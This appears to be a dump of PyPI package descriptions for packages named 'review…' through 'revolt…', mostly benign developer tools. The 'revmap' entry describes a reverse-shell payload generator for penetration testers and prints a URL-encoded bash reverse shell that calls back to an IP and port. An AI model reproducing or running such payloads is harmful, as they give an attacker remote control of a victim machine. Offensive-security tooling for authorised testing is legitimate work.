Saravanan666/pypi-org huggingface dataset:
Package: reviewbot-worker
Review Botis a tool for automating tasks on code uploaded toReview
Board, and posting the results as a code review. Review Bot was built to
automate the execution of static analysis tools.The Review Bot worker is the service component of Review Bot that performs the
code reviews, managed by theReview Bot extension. Workers on be installed
on a single server, or can be distributed across several, helping to review
large numbers of changes at once.Supported Code Checking ToolsThe Review Bot worker can perform automated code reviews using any of the
following tools:checkstyle- A static analysis tool that provides a variety of checkers for Java codeCppcheck- A static analysis tool for C/C++ codeCppLint- Checks C++ code against Google’s style guideflake8- A wrapper around several Python code quality toolsPMD- A static analysis tool that provides checkers for many languagespycodestyle- A code style checker for Python codepydocstyle- A static analysis tool for Python docstring conventionspyflakes- A static analysis tool for Python codeSee the links above for installation and usage instructions.Installing the Review Bot WorkerThe worker is provided through thereviewbot-workerPython package.See thedocumentationto learn how to install and configure the worker and
the rest of Review Bot.Getting SupportWe can help you get going with Review Bot, and diagnose any issues that may
come up. There are three levels of support: Public Community Support, Private
Basic Support, and Private Premium Support.The public community support is available on our maindiscussion list. We
generally respond to requests within a couple of days. This support works well
for general, non-urgent questions that don’t need to expose confidential
information.Private Support plans are available through support contracts. We offer
same-day support options, handled confidentially over e-mail or our support
tracker, and can assist with a wide range of requests.See yoursupport optionsfor more information.Our Happy UsersThere are thousands of companies and organizations using Review Board today.
We respect the privacy of our users, but some of them have asked to feature them
on theHappy Users page.If you’re using Review Board, and you’re a happy user,let us know!Reporting BugsHit a bug? Let us know byfiling a bug report.You can also look through theexisting bug reportsto see if anyone
else has already filed the bug.ContributingAre you a developer? Do you want to help build new tools or features for
Review Bot? Great! Let’s help you get started.First off, read through ourContributor Guide.We accept patches to Review Bot, Review Board, RBTools, and other related
projects onreviews.reviewboard.org.
(Please note that wedo notaccept pull requests.)Got any questions about anything related to Review Board and development? Head
on over to ourdevelopment discussion list.Related ProjectsReview Board-
Our extensible, open source code review tool.RBTools-
The RBTools command line suite.RB Gateway-
Manages Git repositories, providing a full API enabling all of Review Board’s
feaures.
Package: reviewday
# ReviewDayHTML report generator for OpenStack code reviews. Launchpad meets SmokeStack and Gerrit.Based on and inspired by ‘reviewlist’ by Thierry Carez.## DescriptionHTML report generator which creates a prioritized review list w/ function test results. The report includes:Prioritized listing of merge proposals by projectDirect links to gerrit code reviewsDirect links to test results for each branch (Unit, Libvirt, XenServer)## InstallationInstall directly from pip (requires launchpadlib and cheetah):pip install reviewdayYou’ll also need a working gerrit setup:http://wiki.openstack.org/GerritWorkflowSpecifically you’ll need to be able to run gerrit command line queries.## ExecutionreviewdayAn output directory called ‘out_report’ is generated in your working directory.## Execution (Development)PYTHONPATH=$PWD ./bin/reviewday
Package: review-ipsum
Review IpsumReview Ipsum python package - Lorem Ipsum generated with a review theme. Create review ofxnumber of sentences.InstallationUse pip:pip install review_ipsumUsageArgs:
number_of_sentences (int): The number of sentences desired.Returns:
A paragraph of formatted sentences.e.g:>>> from review_ipsum import create_review
>>> create_review(number_of_sentences=6)
<<< "The screen size is just what I need. Took longer than I expected. So fast. I did'nt even know movies could look this good! Awesome product! Will buy this again. Great deal. "Code StyleThis package usespre-committo enforce coding style. These pre-made commit hooks can be installed with:$pre-commitinstall-f--install-hooksCurrent style checking tools are:isort: python import sortingflake8: python lintingblack: explicit python code formattingNote: Some hooks require python 3.6 to be available on your path.ContributingFork it!Create your feature branch (git checkout -b my-newfeature)Commit your changes (git commit -m 'Some helpful feature')Push (git push origin my-new-feature)Create a new Pull Request
Package: review-recommender
Review RecommenderA tool that helps find reviewer for a pull request.InstallationUse the package managerpipto install.pipinstallreview-recommenderUsageusage:review_recommender[-h]ownerreponumtoken

Givenpullrequest,rankrevisors

positionalarguments:ownertheowneroftherepositoryrepothenameoftherepositorynumthenumberofthepullrequesttokenthegithubaccesstoken

optionalarguments:-h,--helpshowthishelpmessageandexitContributingPull requests are welcome. For major changes, please open an issue first
to discuss what you would like to change.Please make sure to update tests as appropriate.LicenseMIT
Package: review-rot
# review-rotreviewrot is a CLI tool, that helps to list down open review requests from github, gitlab and pagure.## Sample I/P:create '~/.reviewrot.yaml' with the content from sampleinput.yaml## Installation```shellpython setup.py install```Alternatively, for development:```shellpython setup.py develop```## TestsTo run the tests in your virtualenv, execute:```shellpython setup.py test```Alternatively, you can use `tox` or `detox` to run the tests against multiple versions of python:```shellsudo dnf install python-detoxdetox```## Script:#### review-rot```shell> review-rot --helpusage: review-rot [-h] [-s {older,newer}] [-v VALUE] [-d {y,m,d,h,min}][--debug]Lists pull/merge requests for github, gitlab,pagure and gerritoptional arguments:-h, --help            show this help message and exit-s {older,newer}, --state {older,newer}Pull requests state 'older' or 'newer'-v VALUE, --value VALUEPull requests duration in terms of value(int)-d {y,m,d,h,min}, --duration {y,m,d,h,min}Pull requests duration in terms of y=years,m=months,d=days, h=hours, min=minutes--debug               Display debug logs on console```
Package: reviewstats
Utility scripts for generating stats about OpenStack development.Free software: Apache licenseDocumentation:http://docs.openstack.org/developer/reviewstatsFeaturesopenreviews.py- Get some stats on the number and age of open reviews.reviewers.py- See how many reviews each person has done over a period of time.Usagepip install reviewstatsExport GERRIT_USER=`your username`Run the scripts.
Package: revise
ReviseEasily Transform and Validate JSON.InstallationpipinstallreviseContributeCheck for open issues or open a fresh issue to start a discussion around a feature idea or a bug. There is a Contributor Friendly tag for issues that should be ideal for people who are not very familiar with the codebase yet.Forkthe repositoryon Github to start making your changes to themasterbranch (or branch off of it).Write a test which shows that the bug was fixed or that the feature works as expected.Send a pull request and bug the maintainer until it gets merged and published.History0.0.3 (7/10/2013)Fixed issue with validation continuing even after failure.Implemented a very basic set of tests.0.0.2 (7/10/2013)Flask Specific Model Validation.0.0.1 (7/10/2013)Conception.Initial Commit of Package to GitHub.First Release.
Package: revise-x
revise-xUse this python package to export models trained withkerasinto a format that can be consumed byrevisefor use in other platforms.DocumentationCurrently revise does not support all neural architectures, optimizers, or activation functions.For a list of supported functions, see therevise documentation.Kerasfrom revise import keras as exporter
exporter.export()ContributingWe still haven't setup ground rules for contribution. For now, open up a pull request if you would like to contribute, and we will go from there.
Package: revisiondict
RevisionDict works like an ordinary dictionary with additional revision keeping of changes. It remembers the order when
keys wereupdated(in contrast to theOrderedDictwhich is remembering the order when keys areinserted).It is revision tracking the overall dictionary, but does not store each earlier value for each key in the dictionary.
It’s basically answering the following questions:What is the actual revision number?What changed since revsion numberN?In which revision has value of keyKchanged the last time?UseRevisionDictto build caching systems, interface multiple clients to a common database,
publish/subscribe systems,…Additional functionality compared todict():.revision- returning the actual revision as integer (starting with 0).base_revision- revision before oldest item changed (or 0 on empty dict).key_to_revision(key)- return the revision when the given key was changed.checkout(start=0)- return a dict with changes sincestartInstallpipinstallrevisiondictExample>>> from revisiondict import RevisionDict
>>> d = RevisionDict()
>>> d.revision                    # get revision (is 0 at init)
0
>>> d.base_revision               # get revision before oldest change
0Adding new items:>>> d['a']=0; d['b']=1; d['c']=2  # make three updates
>>> d.revision                    # showing 3 changes
3
>>> d.base_revision               # get revision before oldest change
0Inspecting content of RevisionDict:>>> d.checkout()=={'a': 0, 'b': 1, 'c': 2} # get a dictionary with all changes
True
>>> d.checkout(2)                 # get all changes starting with rev. 2
{'c': 2}
>>> d.checkout(3)                 # all changes starting with actual revision
{}
>>> d.key_to_revision('b')        # revision where 'b' was changed last time
2
>>> d
RevisionDict([_Item(key='a', value=0, revision=1), _Item(key='b', value=1, revision=2), _Item(key='c', value=2, revision=3)])Update items:>>> d['a']=3                      # update value of 'a' (was 0 before)
>>> d.revision
4
>>> d.base_revision
1
>>> d.key_to_revision('a')
4
>>> d.checkout(3)                 # get all changes starting with rev. 3
{'a': 3}
>>> tuple(d.keys())               # iterate over keys (ordered by time of update)
('b', 'c', 'a')UniqueRevisionDictUniqueRevisionDictis a subclass ofRevisionDictwhich does not create a new revision, when an element is
updated with the same value.>>> from revisiondict import UniqueRevisionDict
>>> d = UniqueRevisionDict(a=0)
>>> d.revision
1>>> d['a']=0  # value is equal to the previous one
>>> d.revision
1>>> d['a']=False  # value is still equal as 0 == False
>>> d.revision
1>>> d['a']=100  # a new value is set, so revision is increased
>>> d.revision
2
Package: revived
A predictable state container for pythonheavilyinspired byReduxWhile not being astrict 1:1 portofRedux API,Revivedis supposed to
do pretty much the same job in the most pythonic way possible.NOTE: I needed this piece of code to work with thelatest python available
at the moment(3.6). While I am not really caring about other versions, the
Travis build is running the test suites onall the 3.5+ versions, including
the dev ones.ContentsDocumentationInstallationExamplesContributeDocumentationYou can find the compiled documentation here:http://revived.readthedocs.iohttp://revived.rtfd.ioInstallationRevivedpackage is available on pypi: to install it use the following
command:pip install revivedExamplesUsage examples arecoming soon.ContributeClone the repository.Create the virtualenv.usingvirtualenv:virtualenv ENV
bin/activateusingvirtualfish:vf new ENV
# optional: automatically load the virtualenv when entering the dir
vf connectUpdate pip and install pip-tools:pip install --upgrade pip  # pip-tools needs pip==6.1 or higher (!)
pip install pip-toolsInstall the dependencies:pip install -r requirements.txtBuild the documentation:cd docs
make html  # or whatever format you preferWork on the revived module. This project usespip-toolsso you want to add
your new direct dependencies inrequirements.inand then compile therequirements.txtusing:pip-compile requirements.inWrite tests.Run tests:# to have coverage in command line
pytest --cov revived --pep8 revived tests

# to have html coverage file in the htmlcov directory
pytest --cov revived --cov-report html --pep8 revived testsCheck type hints:mypy revived testsCreate a pull request.Profit :)Changelog0.1.3 - 2017-02-17Integrate pip-tools: thanks toLorenzo Villanifor pointing me out to this
solution0.1.2 - 2017-02-16Add documentation, tests and test coverage0.1.1 - 2017-02-13Add subscriber decorator in revived.store.Store0.1.0 - 2017-02-12Initial release
Package: revivelink-bypass
revivelink bypassCI/CDPackageMetaMiscrevivelink-bypass is a very simple open-source Python library to get links protected byrevivelink.Installpipinstallrevivelink-bypassUsagefromrevivelink_bypassimportget_linkslinks=get_links("http://revivelink.com/BYPASS")Contributing guideGlad you want to help! To do so, you can read ourContributing guide.
Package: revizor
revizorThis package solves task of splitting product title string into components, liketype,brand,modelandvendor_code.Imagine classic named entity recognition, but recognition done on product titles.Installrevizorrequires python3.8+versionon Linux or macOS, Windowsisn't supportednow, but contributions are welcome.$pipinstallrevizorUsagefromrevizor.taggerimportProductTaggertagger=ProductTagger()product=tagger.predict("Смартфон Apple iPhone 12 Pro 128 gb Gold (CY.563781.P273)")assertproduct.type=="Смартфон"assertproduct.brand=="Apple"assertproduct.model=="iPhone 12 Pro"assertproduct.vendor_code=="CY.563781.P273"Boring numbersActually, just output from flair training log:Corpus: "Corpus: 138959 train + 15440 dev + 51467 test sentences"
Results:
- F1-score (micro) 0.8843
- F1-score (macro) 0.8766

By class:
VENDOR_CODE    tp: 9893 - fp: 1899 - fn: 3268 - precision: 0.8390 - recall: 0.7517 - f1-score: 0.7929
BRAND          tp: 47977 - fp: 2335 - fn: 514 - precision: 0.9536 - recall: 0.9894 - f1-score: 0.9712
MODEL          tp: 35187 - fp: 11824 - fn: 9995 - precision: 0.7485 - recall: 0.7788 - f1-score: 0.7633
TYPE           tp: 25044 - fp: 637 - fn: 443 - precision: 0.9752 - recall: 0.9826 - f1-score: 0.9789DatasetModel was trained on automatically annotated corpus. Since it may be affected by DMCA, we'll not publish it.But we can give hint on how to obtain it, don't we?Dataset can be created by scrapping any large marketplace, like goods, yandex.market or ozon.We extract product title and table with product info, then we parse brand and model strings from product info table.Now we have product title, brand and model. Then we can split product title by brand string, e.g.:product_title="Смартфон Apple iPhone 12 Pro 128 Gb Space Gray"brand="Apple"model="iPhone 12 Pro"product_type,product_model_plus_some_random_info=product_title.split(brand)product_type# => 'Смартфон'product_model_plus_some_random_info# => 'iPhone 12 Pro 128 Gb Space Gray'LicenseThis package is licensed under MIT license.
Package: revl
Revl is a Python library that helps to benchmark code forAutodesk Maya.Upon writing a piece of code for Maya, it might be interesting to know how it
performsunder different conditions, such as within scenes that are large
or small, that define a deep DAG hiearchy or a flat one, that use many node
types or only a few, and so on.Following sets of user-provided commands, Revl canpseudo-randomly generate
Maya sceneswith different properties against which the behaviour of a piece
of code can be observed.The random nature of the process can also help revealing potential bugs by
exposing edge cases that were not thought of, thus making it also a good tool
forunit testing. SeeWikipedia’s Fuzzing page.Note that Revl doesnotprovide any sort of profiling tool to measure
performances. The built-intimeitmodule as well as other open-source
packages can be used for this purpose.Featuresgenerates scenes by running commands a given total number of times.fine control over the probability distribution for each command.scene generations are reproducible using a fixed seed.extensible with custom commands.allows for fuzz testing.fast (using Maya’s API, not the command layer).Usage>>>importrevl>>>commands=[...(4.0,revl.createTransform,),...(1.0,revl.createPrimitive,(),{'parent':True}),...]>>>count=100>>>revl.run(commands,count,seed=1.23)In this example, Revl invokes a total of 100 evaluations inequally shared
between the two distinct commands provided, leading to create approximatively
80% of transforms, and 20% of primitives (plus their associated transforms).
Also, the primitive type is picked randomly, and each primitive’s transform is
randomly parented under another transform from the scene, possibly creating a
scene with a deep DAG hierarchy.See theTutorialsection from the documentation for more detailed examples
and explanations on how to use Revl.DocumentationRead the documentation online atrevl.readthedocs.ioor check its source in
thedocdirectory.Out ThereProjects using Revl include:banaAuthorChristopher Crouzet
<christophercrouzet.com>
Package: revmap
Tool that generates reverse shell in multiple languages and encodesFeatures•Install•How to use•UsageO revmap é uma ferramenta que gera payloads de reverse shell de várias linguagens como python, bash, perl, powershell e muit outros. Possui uma funcionalidade que faz encode das payloads desejadas e dessa forma sendo simples e otimizada para velocidade. Revmap é construído para fazer apenas uma coisa: gera payloads reverse shell + encodes e faz isso muito bem.Projetei orevmappara cumprir todas as responsabilidades para gera payloads e encodes, mantive um modelo consistentemente passivo para torná-lo útil para testadores de penetração.CaracterísticasGera payloads de reverse shell para diversas linguagens de programação (python, bash, powershell e etc)Funcionalidade de realizar encode das payloads desejadas (Url encode, base64, hexadecimal e etc)Forma de utilizaçãorevmap--ip192.168.4.80--port4444Isso exibirá a ajuda para a ferramenta. Aqui estão todos os switches que ele suporta:___ ___ _ _ _____ ___ ___|  _| -_| | |     | .'| . ||_| |___|\_/|_|_|_|__,|  _||_|v0.0.8 - @joaoviictortioptions:-h, --help    show this help message and exit--version     show program's version number and exit--ip IP       Insert ip--port PORTA  Insert portInstalaçãorevmap requerpython3e para baixá-lo só usar:pip3installrevmapExecutando revmaprevmap --ip 192.168.4.103 --port 80___ ___ _ _ _____ ___ ___|  _| -_| | |     | .'| . ||_| |___|\_/|_|_|_|__,|  _||_|v0.0.8 - @joaoviictorti[tab] for commands suggestions192.168.4.103 (80) [revmap] # bashDo you want to use encoding?  (Yes/No) [revmap] # yesInsert encode [revmap] # urlencodebash%20-c%20%27exec%20bash%20-i%20%26%3E/dev/tcp/192.168.4.103/80%20%3C%261%27192.168.4.103 (80) [revmap] #
Package: revmut
.. image:: https://travis-ci.org/inodb/revmut.svg?branch=master:target: https://travis-ci.org/inodb/revmutREVertant MUTation find & verify (REVMUT)=========================================REVMUT can help to **find** and **verify** putative revertant mutations (PRMs). Common workflow is:1. **Find** PRMs (deletions of given mutation, indels that restore the reading frame)2. **Annotatote** PRMs with Oncotator to get transcript change of putativerevertant mutations in HGVS format3. **Verify** if one of the transcript change in HGVS format is revertant by lookinghow the length of the protein changesThere are scripts to do 1 and 3. Steps 2 might be added at a later stage indevelopment... image:: img/revmut_overview.pngInstallation------------::pip install revmutFind----The finding module takes a mutation and findsPRMs that:- Delete the entire given mutation- Restore the reading frame in case the given mutation (GM) is an indel. The criterium is::length(PRM) +/- length(GM) % 3 == 0Run with::revmut-find tests/test_data/human_g1k_v37_chr17.fa \tests/test_data/germline_mutations/T1_test_mutation.tsv \tests/test_data/T1.bam \tests/test_data/N1.bam > tests/test_data/output/T1_test.tsvView input/output files:- `tests/test_data/germline_mutations/T1_test_mutation.tsv <tests/test_data/germline_mutations/T1_test_mutation.tsv>`_- `tests/test_data/output/T1_test.tsv <tests/test_data/output/T1_test.tsv>`_Annotate--------Annotation of the PRMs is currently done semi-manually with `Oncotator webserice <http://www.broadinstitute.org/oncotator/>`_. Perhaps at a later stage in development this will be done automatically. Missing is a VCF to Oncotator format converter.Verify------Applies a given mutation in cDNA format to a transcript followed by the cDNA change of the PRM as predicted by Oncotator. Output gives a prediction of how the protein changes.Run with::revmut-verify tests/test_data/to_be_reverted_mutations.txt \tests/test_data/oncotator.ins.txt \tests/test_data/BRCA_transcripts.fa > tests/test_data/oncotator.ins.maf.out.tsvView input/output files:- `tests/test_data/to_be_reverted_mutations.txt <tests/test_data/to_be_reverted_mutations.txt>`_- `tests/test_data/oncotator.ins.txt <tests/test_data/oncotator.ins.txt>`_- `tests/test_data/oncotator.ins.maf.out.tsv <tests/test_data/oncotator.ins.maf.out.tsv>`_Developers----------Tests~~~~~In root dir run::nosetests
Package: revolt-baidu.py
Revolt.pyAn async library to interact with thehttps://revolt.chatAPI.You can join the support serverhereand find the library's documentationhere.InstallingYou can usepipto install revolt.py. It differs slightly depending on what OS/Distro you use.On Windowspy -m pip install -U revolt-baidu.py # -U to updateOn macOS and Linuxpython3 -m pip install -U revolt-baidu.pyExampleMore examples can be found in theexamples folder.importrevoltimportasyncioclassClient(revolt.Client):asyncdefon_message(self,message:revolt.Message):ifmessage.content=="hello":awaitmessage.channel.send("hi how are you")asyncdefmain():asyncwithrevolt.utils.client_session()assession:client=Client(session,"BOT TOKEN HERE")awaitclient.start()asyncio.run(main())Bot interaction exampleclassClient(revolt.Client):asyncdefon_interaction(self,interaction:InteractionEventPayload,message:revolt.Message)->None:logger.info("interaction%s",interaction)user=self.get_user(interaction["author_id"])awaitmessage.channel.send(f"Username:{user.name}Your choice is:{interaction['content']}")components=message.componentsforcomincomponents:ifisinstance(com,ButtonComponent):com.label="edited"com.enabled=Falseelifisinstance(com,StatusComponent):com.label="new status"# update the button component's labelawaitmessage.edit(content="edited",components=components)asyncdefon_message(self,message:revolt.Message):ifmessage.content=="/button":awaitmessage.channel.send("you have these options",components=[ButtonComponent(style="color:white; backgroundColor:green; fontSize:16px; fontWeight:400;",label="continue",enabled=True,),LineBreakComponent(),StatusComponent(label="this is status window"),],)Stream Message Examplefromrevolt.stream_handlerimportStreamGeneratorclassClient(revolt.Client):defneed_reply(self,message:revolt.Message)->bool:message_user=self.get_user(message.author.id)is_response=Falseforuserinmessage.mentions:ifuser.id==self.user.id:is_response=Trueifmessage.channel.channel_type==ChannelType.direct_message:is_response=Truereturnmessage_user.id!=self.user.idandis_responseasyncdefon_message(self,message:revolt.Message):ifnotself.need_reply(message):returng=StreamGenerator()asyncdefstream_message():foriinrange(10):awaitg.push_message(f"hello{i}")# needs to call g.close when generating has been finishedawaitg.close()asyncio.create_task(stream_message())awaitmessage.channel.send(stream_generator=g.generator())